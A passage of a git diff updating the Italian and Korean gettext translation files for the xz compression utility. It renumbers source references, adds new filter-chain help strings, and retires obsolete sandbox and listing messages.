--powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" +#| " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" +#| " --arm[=OPTS] ARM BCJ filter (little endian only)\n" +#| " --armthumb[=OPTS] ARM-Thumb BCJ filter (little endian only)\n" +#| " --sparc[=OPTS] SPARC BCJ filter\n" +#| " Valid OPTS for all BCJ filters:\n" +#| " start=NUM start offset for conversions (default=0)" msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" +" --arm[=OPTS] ARM BCJ filter\n" +" --armthumb[=OPTS] ARM-Thumb BCJ filter\n" +" --arm64[=OPTS] ARM64 BCJ filter\n" " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" -" --arm[=OPTS] ARM BCJ filter (little endian only)\n" -" --armthumb[=OPTS] ARM-Thumb BCJ filter (little endian only)\n" " --sparc[=OPTS] SPARC BCJ filter\n" +" --riscv[=OPTS] RISC-V BCJ filter\n" " Valid OPTS for all BCJ filters:\n" " start=NUM start offset for conversions (default=0)" msgstr "" @@ -807,7 +1005,7 @@ msgstr "" " start=NUM Offset iniziale per le conversioni\n" " (predefinito=0)" -#: src/xz/message.c:1207 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -819,7 +1017,7 @@ msgstr "" " dist=NUM Distanza tra byte sottratti\n" " gli uni dagli altri (1-256; 1)" -#: src/xz/message.c:1215 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -827,7 +1025,7 @@ msgstr "" "\n" " Altre opzioni:\n" -#: src/xz/message.c:1218 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -837,15 +1035,15 @@ msgstr "" " -v, --verbose Output prolisso; specificare due volte per output ancora\n" " più prolisso" -#: src/xz/message.c:1223 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn Gli avvisi non influenzano lo stato d'uscita" -#: src/xz/message.c:1225 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr " --robot Usa messaggi analizzabili (utile per gli script)" -#: src/xz/message.c:1228 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -853,7 +1051,7 @@ msgstr "" " --info-memory Visualizza la quantità totale di RAM, il limite attuale\n" " attivo di utilizzo della memore ed esce" -#: src/xz/message.c:1231 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -861,7 +1059,7 @@ msgstr "" " -h, --help Stampa l'aiuto breve (elenca solo le opzioni di base)\n" " -H, --long-help Stampa questo lungo aiuto ed esce" -#: src/xz/message.c:1235 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -869,11 +1067,12 @@ msgstr "" " -h, --help Stampa questo breve aiuto ed esce\n" " -H, --long-help Stampa l'aiuto lungo (elenca anche le opzioni avanzate)" -#: src/xz/message.c:1240 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version Stampa il numero della versione ed esce" -#: src/xz/message.c:1242 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 +#, c-format msgid "" "\n" "With no FILE, or when FILE is -, read standard input.\n" @@ -885,33 +1084,48 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1248 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "" "Segnalare i bug a <%s> (in inglese o finlandese).\n" "Segnalare i bug di traduzione a .\n" -#: src/xz/message.c:1250 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "Sito web di %s: <%s>\n" -#: src/xz/message.c:1254 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "Questa è una versione di sviluppo non adatta per utilizzi in produzione." -#: src/xz/options.c:86 -#, c-format -msgid "%s: Options must be `name=value' pairs separated with commas" +#: src/xz/message.c:1160 +msgid "" +"Filter chains are set using the --filters=FILTERS or\n" +"--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" +"can be separated by spaces or '--'. Alternatively a preset <0-9>[e] can be\n" +"specified instead of a filter chain.\n" +msgstr "" + +#: src/xz/message.c:1166 +#, fuzzy +#| msgid "Unsupported filter chain or filter options" +msgid "The supported filters and their options are:" +msgstr "Catena di filtri od opzioni del filtro non supportata" + +#: src/xz/options.c:85 +#, fuzzy, c-format +#| msgid "%s: Options must be `name=value' pairs separated with commas" +msgid "%s: Options must be 'name=value' pairs separated with commas" msgstr "%s: le opzioni devono essere coppie \"nome=valore\" separate da virgole" -#: src/xz/options.c:93 +#: src/xz/options.c:92 #, c-format msgid "%s: Invalid option name" msgstr "%s: nome opzione non valido" -#: src/xz/options.c:113 +#: src/xz/options.c:112 #, c-format msgid "%s: Invalid option value" msgstr "%s: valore dell'opzione non valido" @@ -925,24 +1139,15 @@ msgstr "Preset LZMA/LZMA2 non supportato: %s" msgid "The sum of lc and lp must not exceed 4" msgstr "La somma di lc e lp non deve superare 4" -#: src/xz/options.c:359 -#, c-format -msgid "The selected match finder requires at least nice=%" -msgstr "Lo strumento per cercare corrispondenze selezionato richiede almeno nice=%" - -#: src/xz/suffix.c:133 src/xz/suffix.c:258 -#, c-format -msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" -msgstr "%s: con --format=raw, --suffix=.SUF è richiesto a meno che non si scriva sullo stdout" - -#: src/xz/suffix.c:164 +#: src/xz/suffix.c:165 #, c-format msgid "%s: Filename has an unknown suffix, skipping" msgstr "%s: il nome del file ha un suffisso sconosciuto, viene saltato" -#: src/xz/suffix.c:185 -#, c-format -msgid "%s: File already has `%s' suffix, skipping" +#: src/xz/suffix.c:186 +#, fuzzy, c-format +#| msgid "%s: File already has `%s' suffix, skipping" +msgid "%s: File already has '%s' suffix, skipping" msgstr "%s: il file ha già il suffisso \"%s\", viene saltato" #: src/xz/suffix.c:393 @@ -950,37 +1155,53 @@ msgstr "%s: il file ha già il suffisso \"%s\", viene saltato" msgid "%s: Invalid filename suffix" msgstr "%s: suffisso del nome del file non valido" -#: src/xz/util.c:71 +#: src/xz/util.c:106 #, c-format msgid "%s: Value is not a non-negative decimal integer" msgstr "%s: il valore non è un numero intero decimale non-negativo" -#: src/xz/util.c:113 +#: src/xz/util.c:148 #, c-format msgid "%s: Invalid multiplier suffix" msgstr "%s: suffisso del moltiplicatore non valido" -#: src/xz/util.c:115 -msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +#: src/xz/util.c:150 +#, fuzzy +#| msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +msgid "Valid suffixes are 'KiB' (2^10), 'MiB' (2^20), and 'GiB' (2^30)." msgstr "I suffissi validi sono \"KiB\" (2^10), \"MiB\" (2^20), e \"GiB\" (2^30)." -#: src/xz/util.c:132 -#, c-format -msgid "Value of the option `%s' must be in the range [%, %]" +#: src/xz/util.c:167 +#, fuzzy, c-format +#| msgid "Value of the option `%s' must be in the range [%, %]" +msgid "Value of the option '%s' must be in the range [%, %]" msgstr "Il valore dell'opzione \"%s\" deve essere nell'intervallo [%, %]" -#: src/xz/util.c:257 -msgid "Empty filename, skipping" -msgstr "Nome file vuoto, viene saltato" - -#: src/xz/util.c:271 +#: src/xz/util.c:290 msgid "Compressed data cannot be read from a terminal" msgstr "I dati compressi non possono essere letti da un terminale" -#: src/xz/util.c:284 +#: src/xz/util.c:303 msgid "Compressed data cannot be written to a terminal" msgstr "I dati compressi non possono essere scritti ad un terminale" +#: src/lzmainfo/lzmainfo.c:33 +#, c-format +msgid "" +"Usage: %s [--help] [--version] [FILE]...\n" +"Show information stored in the .lzma file header" +msgstr "" + +#: src/lzmainfo/lzmainfo.c:109 +#, fuzzy +#| msgid "%s: Too small to be a valid .xz file" +msgid "File is too small to be a .lzma file" +msgstr "%s: troppo piccolo per essere un file .xz valido" + +#: src/lzmainfo/lzmainfo.c:122 +msgid "Not a .lzma file" +msgstr "" + #: src/common/tuklib_exit.c:39 msgid "Writing to standard output failed" msgstr "Scrittura sullo standard ouput non riuscita" @@ -988,3 +1209,54 @@ msgstr "Scrittura sullo standard ouput non riuscita" #: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "Errore sconosciuto" + +#~ msgid "Sandbox is disabled due to incompatible command line arguments" +#~ msgstr "La modalità sandbox è disabilitata a causa di argomenti a riga di comando non compatibili" + +#~ msgid "Sandbox was successfully enabled" +#~ msgstr "Sandbox abilitata con successo" + +#~ msgid "Failed to enable the sandbox" +#~ msgstr "Abilitazione modalità sandbox non riuscita" + +#~ msgid "Memory usage limit for compression: " +#~ msgstr "Limite utilizzo memoria per la compressione: " + +#, c-format +#~ msgid " Streams: %s\n" +#~ msgstr " Stream: %s\n" + +#, c-format +#~ msgid " Blocks: %s\n" +#~ msgstr " Blocchi: %s\n" + +#, c-format +#~ msgid " Ratio: %s\n" +#~ msgstr " Rapporto: %s\n" + +#, c-format +#~ msgid " Check: %s\n" +#~ msgstr " Controllo: %s\n" + +#~ msgid "" +#~ " Streams:\n" +#~ " Stream Blocks CompOffset UncompOffset CompSize UncompSize Ratio Check Padding" +#~ msgstr "" +#~ "Stream:\n" +#~ " Stream Blocc. Offset comp. Offset estr. Dim. comp. Dim. estratto Rapp. Contr Padding" + +#, c-format +#~ msgid "" +#~ " Blocks:\n" +#~ " Stream Block CompOffset UncompOffset TotalSize UncompSize Ratio Check" +#~ msgstr "" +#~ " Blocchi:\n" +#~ " Stream Blocc. Offset comp. Offset estratto Dim. tot. Dim. estratto Rapp. Contr" + +#, c-format +#~ msgid " CheckVal %*s Header Flags CompSize MemUsage Filters" +#~ msgstr " Val.cont %*s Header Flag Dim.compr. Uso mem. Filtri" + +#, c-format +#~ msgid "The selected match finder requires at least nice=%" +#~ msgstr "Lo strumento per cercare corrispondenze selezionato richiede almeno nice=%" diff --git a/po/ko.gmo b/po/ko.gmo new file mode 100644 index 00000000..7d33e874 Binary files /dev/null and b/po/ko.gmo differ diff --git a/po/ko.po b/po/ko.po index e9748008..3cd46363 100644 --- a/po/ko.po +++ b/po/ko.po @@ -7,7 +7,7 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.6.0-pre2\n" "Report-Msgid-Bugs-To: xz@tukaani.org\n" -"POT-Creation-Date: 2024-02-15 01:57+0800\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2024-02-18 01:45+0900\n" "Last-Translator: Seong-ho Cho \n" "Language-Team: Korean \n" @@ -56,8 +56,8 @@ msgstr "'--files' 또는 '--files0' 옵션에는 하나의 파일만 지정할 #. string because French needs a space #. before the colon ("%s : %s"). #: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 -#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:685 -#: src/xz/file_io.c:759 src/xz/file_io.c:849 src/xz/file_io.c:1020 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 #: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 #: src/xz/list.c:599 #, c-format @@ -181,16 +181,12 @@ msgstr "메모리 사용 제한량 %5$sMiB를 넘지 않으려 %3$sMiB에서 %4$ msgid "Error changing to filter chain %u: %s" msgstr "필터 체인 %u번 전환 오류: %s" -#: src/xz/file_io.c:136 src/xz/file_io.c:144 +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "파이프 생성 오류: %s" -#: src/xz/file_io.c:332 -msgid "Failed to enable the sandbox" -msgstr "샌드박스 활성화 실패" - -#: src/xz/file_io.c:374 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: poll() 실패: %s" @@ -205,111 +201,111 @@ msgstr "%s: poll() 실패: %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:441 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: 파일을 이동한 것 같음, 제거 안함" -#: src/xz/file_io.c:448 src/xz/file_io.c:1004 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: 제거할 수 없음: %s" -#: src/xz/file_io.c:474 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: 파일 소유자를 설정할 수 없음: %s" -#: src/xz/file_io.c:487 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: 파일 소유 그룹을 설정할 수 없음: %s" -#: src/xz/file_io.c:506 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: 파일 권한을 설정할 수 없음: %s" -#: src/xz/file_io.c:632 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "표준 입력에서 파일 상태 플래그 가져오기 오류: %s" -#: src/xz/file_io.c:690 src/xz/file_io.c:752 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: 심볼릭 링크, 건너뜀" -#: src/xz/file_io.c:781 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: 디렉터리입니다, 건너뜀" -#: src/xz/file_io.c:787 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: 일반 파일 아님, 건너뜀" -#: src/xz/file_io.c:804 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: setuid 또는 setgid 비트 설정 있음, 건너뜀" -#: src/xz/file_io.c:811 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: 끈적이 비트 설정이 있는 파일, 건너뜀" -#: src/xz/file_io.c:818 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: 입력 파일에 하나 이상의 하드링크가 있습니다, 건너뜀" -#: src/xz/file_io.c:860 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "파일 이름 없음, 건너뜀" -#: src/xz/file_io.c:914 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "표준 입력으로의 상태 플래그 복원 오류: %s" -#: src/xz/file_io.c:962 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "표준 출력에서 파일 상태 플래그 가져오기 오류: %s" -#: src/xz/file_io.c:1161 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "표준 출력으로의 O_APPEND 플래그 복원 오류: %s" -#: src/xz/file_io.c:1173 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: 파일 닫기 실패: %s" -#: src/xz/file_io.c:1209 src/xz/file_io.c:1471 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: 분할 파일 생성 시도시 탐색 실패: %s" -#: src/xz/file_io.c:1309 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: 읽기 오류: %s" -#: src/xz/file_io.c:1339 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: 파일 탐색 오류: %s" -#: src/xz/file_io.c:1363 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: 예상치 못한 파일의 끝" -#: src/xz/file_io.c:1422 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: 쓰기 오류: %s" @@ -570,26 +566,26 @@ msgstr "'lzmainfo' 명령에 .lzma 파일 이름을 붙여 실행해보십시오 msgid "--list does not support reading from standard input" msgstr "--list 옵션은 표준 입력 읽기를 지원하지 않습니다" -#: src/xz/main.c:95 +#: src/xz/main.c:89 #, c-format msgid "%s: Error reading filenames: %s" msgstr "%s: 파일 이름 읽기 오류: %s" -#: src/xz/main.c:102 +#: src/xz/main.c:96 #, c-format msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: 파일 이름 읽는 중 예상치 못한 입력 끝" -#: src/xz/main.c:126 +#: src/xz/main.c:120 #, c-format msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: 파일 이름을 읽는 도중 NULL 문자 발견. '--files' 옵션 대신 '--files0' 옵션을 사용하시려는게 아닙니까?" -#: src/xz/main.c:206 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "아직 압축 동작과 압축 해제 동작에 --robot 옵션을 지원하지 않습니다." -#: src/xz/main.c:284 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "표준 출력에서 파일 이름을 읽을 때 표준 입력에서 데이터를 읽을 수 없습니다" @@ -597,68 +593,68 @@ msgstr "표준 출력에서 파일 이름을 읽을 때 표준 입력에서 데 #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:670 src/xz/message.c:725 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:797 src/xz/message.c:856 src/lzmainfo/lzmainfo.c:131 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "내부 오류 (버그)" -#: src/xz/message.c:804 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "시그널 처리자를 준비할 수 없습니다" -#: src/xz/message.c:813 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "무결성 검사 안함. 파일 무결성을 검증하지 않습니다" -#: src/xz/message.c:816 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "지원하지 않는 무결성 검사 형식. 파일 무결성을 검증하지 않습니다" -#: src/xz/message.c:823 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "메모리 사용량 한계에 도달했습니다" -#: src/xz/message.c:826 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "파일 형식을 인식할 수 없음" -#: src/xz/message.c:829 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "지원하지 않는 옵션" -#: src/xz/message.c:832 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "압축 데이터 깨짐" -#: src/xz/message.c:835 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "예상치 못한 입력 끝" -#: src/xz/message.c:877 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "%s MiB 메모리 용량이 필요합니다. 제한을 비활성합니다." -#: src/xz/message.c:905 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "%s MiB 메모리 용량이 필요합니다. 제한 용량은 %s 입니다." -#: src/xz/message.c:924 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: 필터 체인: %s\n" -#: src/xz/message.c:935 +#: src/xz/message.c:916 #, c-format msgid "Try '%s --help' for more information." msgstr "자세한 사용법은 '%s --help'를 입력하십시오." -#: src/xz/message.c:961 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -669,15 +665,15 @@ msgstr "" ".xz 형식(으로) <파일> 다수를 압축(해제)합니다.\n" "\n" -#: src/xz/message.c:968 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "긴 옵션 버전의 필수 인자는 짧은 옵션 버전에도 해당합니다.\n" -#: src/xz/message.c:972 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " 동작 방식:\n" -#: src/xz/message.c:975 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -689,7 +685,7 @@ msgstr "" " -t, --test 압축 파일 무결성 검사\n" " -l, --list .xz 파일 정보 출력" -#: src/xz/message.c:981 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -697,7 +693,7 @@ msgstr "" "\n" " 동작 지정:\n" -#: src/xz/message.c:984 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -707,7 +703,7 @@ msgstr "" " -f, --force 출력 파일을 강제로 덮어쓰고 링크도 압축(해제)합니다\n" " -c, --stdout 표준 출력으로 기록하고 입력 파일을 삭제하지 않습니다" -#: src/xz/message.c:993 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -715,7 +711,7 @@ msgstr "" " --single-stream 첫번째 스트림만 압축해제하며, 나머지 입력 데이터는\n" " 조용히 무시합니다" -#: src/xz/message.c:996 +#: src/xz/message.c:977 msgid "" " --no-sparse do not create sparse files when decompressing\n" " -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" @@ -733,7 +729,7 @@ msgstr "" " --files0[=<파일>]\n" " --files 옵션과 비슷하지만 NULL 문자로 끝납니다" -#: src/xz/message.c:1005 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -741,7 +737,7 @@ msgstr "" "\n" " 기본 파일 형식 및 압축 옵션:\n" -#: src/xz/message.c:1007 +#: src/xz/message.c:988 msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" " 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" @@ -753,11 +749,11 @@ msgstr "" " -C, --check=<검사> 무결성 검사 형식: 'none' (위험),\n" " 'crc32', 'crc64' (기본), 'sha256'" -#: src/xz/message.c:1012 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check 압축 해제시 무결성 검사를 수행하지 않습니다" -#: src/xz/message.c:1016 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -765,7 +761,7 @@ msgstr "" " -0 ... -9 압축 사전 설정. 기본값은 6 입니다. 7-9를 사용하려면 압축\n" " 메모리 사용량*과* 압축 해제 메모리 사용량을 지정하십시오!" -#: src/xz/message.c:1020 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -773,7 +769,7 @@ msgstr "" " -e, --extreme CPU 점유 시간을 더 확보하여 압축률을 개선합니다.\n" " 압축 해제시 메모리 요구 용량에는 영향을 주지 않습니다" -#: src/xz/message.c:1024 +#: src/xz/message.c:1005 msgid "" " -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" " as many threads as there are processor cores" @@ -782,7 +778,7 @@ msgstr "" " 최대 스레드 <개수>를 사용합니다. 기본값은 실제 프로세서\n" " 코어 수 만큼의 스레드를 사용하도록 지정하는 0 값입니다" -#: src/xz/message.c:1029 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -792,7 +788,7 @@ msgstr "" " 모든 <크기>의 입력 다음 새 .xz 블록을 시작합니다.\n" " 스레드 압축에 블록 크기를 지정할 때 사용합니다" -#: src/xz/message.c:1033 +#: src/xz/message.c:1014 msgid "" " --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" @@ -806,7 +802,7 @@ msgstr "" " 크기 앞에 콜론(':') 표기 후 필터 체인 번호(0-9)를 추가로\n" " 지정할 수 있습니다" -#: src/xz/message.c:1039 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -818,7 +814,7 @@ msgstr "" " 밀리초단위 <제한시간>을 넘기면 모든 대기 데이터를\n" " 플러싱아웃합니다" -#: src/xz/message.c:1045 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -837,7 +833,7 @@ msgstr "" " 제한값을 설정합니다. <제한용량> 값 단위는 바이트 또는\n" " 램 용량 백분율이며, 기본값은 0 입니다" -#: src/xz/message.c:1054 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -845,7 +841,7 @@ msgstr "" " --no-adjust 압축 설정이 메모리 사용량 제한을 넘어서면\n" " 설정 값을 줄이는 대신 오류 정보를 나타냅니다" -#: src/xz/message.c:1060 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -853,7 +849,7 @@ msgstr "" "\n" " 압축용 개별 필터 체인 설정 (사전 설정 사용을 대신함):" -#: src/xz/message.c:1063 +#: src/xz/message.c:1044 msgid "" "\n" " --filters=FILTERS set the filter chain using the liblzma filter string\n" @@ -863,7 +859,7 @@ msgstr "" " --filters=<필터> liblzma 필터 문자열 문법으로 필터 체인을 설정합니다.\n" " 자세한 정보는 --filters-help 옵션을 사용하십시오" -#: src/xz/message.c:1069 +#: src/xz/message.c:1050 msgid "" " --filters1=FILTERS ... --filters9=FILTERS\n" " set additional filter chains using the liblzma filter\n" @@ -873,7 +869,7 @@ msgstr "" " --block-list 옵션을 함께 활용할 수 있는 liblzma 필터\n" " 문자열 문법으로 추가 필터 체인을 설정합니다" -#: src/xz/message.c:1075 +#: src/xz/message.c:1056 msgid "" " --filters-help display more information about the liblzma filter string\n" " syntax and exit." @@ -881,7 +877,7 @@ msgstr "" " --filters-help liblzma 필터 문자열 문법 추가 정보를 나타낸 후\n" " 빠져나갑니다." -#: src/xz/message.c:1086 +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -911,7 +907,7 @@ msgstr "" " 중 하나. 기본값은 bt4)\n" " depth=<숫자> 최대 검색 깊이. 0=자동(기본값)" -#: src/xz/message.c:1101 +#: src/xz/message.c:1082 msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" @@ -937,7 +933,7 @@ msgstr "" " 모든 BCJ 필터의 유효한 <옵션>:\n" " start=<숫자> 변환 시작 오프셋(기본값=0)" -#: src/xz/message.c:1115 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -949,7 +945,7 @@ msgstr "" " dist=<숫자> 각 바이트 값의 차이 값\n" " (1-256, 1)" -#: src/xz/message.c:1123 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -957,7 +953,7 @@ msgstr "" "\n" "기타 옵션:\n" -#: src/xz/message.c:1126 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -965,15 +961,15 @@ msgstr "" " -q, --quiet 경고 메시지 끔. 오류 메시지도 끄려면 두번 지정합니다\n" " -v, --verbose 자세히 표시. 더 자세히 표시하려면 두번 지정합니다" -#: src/xz/message.c:1131 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn 경고가 종료 상태에 영향을 주지 않게합니다" -#: src/xz/message.c:1133 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr " --robot 기계 해석용 메시지를 사용합니다 (스크립트에 적합)" -#: src/xz/message.c:1136 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -981,7 +977,7 @@ msgstr "" " --info-memory 총 사용 메모리양과 현재 활성 메모리 사용 제한 값을\n" " 표시하고 빠져나갑니다" -#: src/xz/message.c:1139 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -989,7 +985,7 @@ msgstr "" " -h, --help 간단한 도움말을 표시합니다 (기본 옵션만 나열)\n" " -H, --long-help 긴 도움말을 표시하고 빠져나갑니다" -#: src/xz/message.c:1143 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -997,11 +993,11 @@ msgstr "" " -h, --help 간단한 도움말을 표시하고 빠져나갑니다\n" " -H, --long-help 긴 도움말을 표시합니다 (고급 옵션도 나열)" -#: src/xz/message.c:1148 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version 버전 번호를 표시하고 빠져나갑니다" -#: src/xz/message.c:1150 src/lzmainfo/lzmainfo.c:37 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 #, c-format msgid "" "\n" @@ -1014,21 +1010,21 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1156 src/lzmainfo/lzmainfo.c:40 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "<%s> 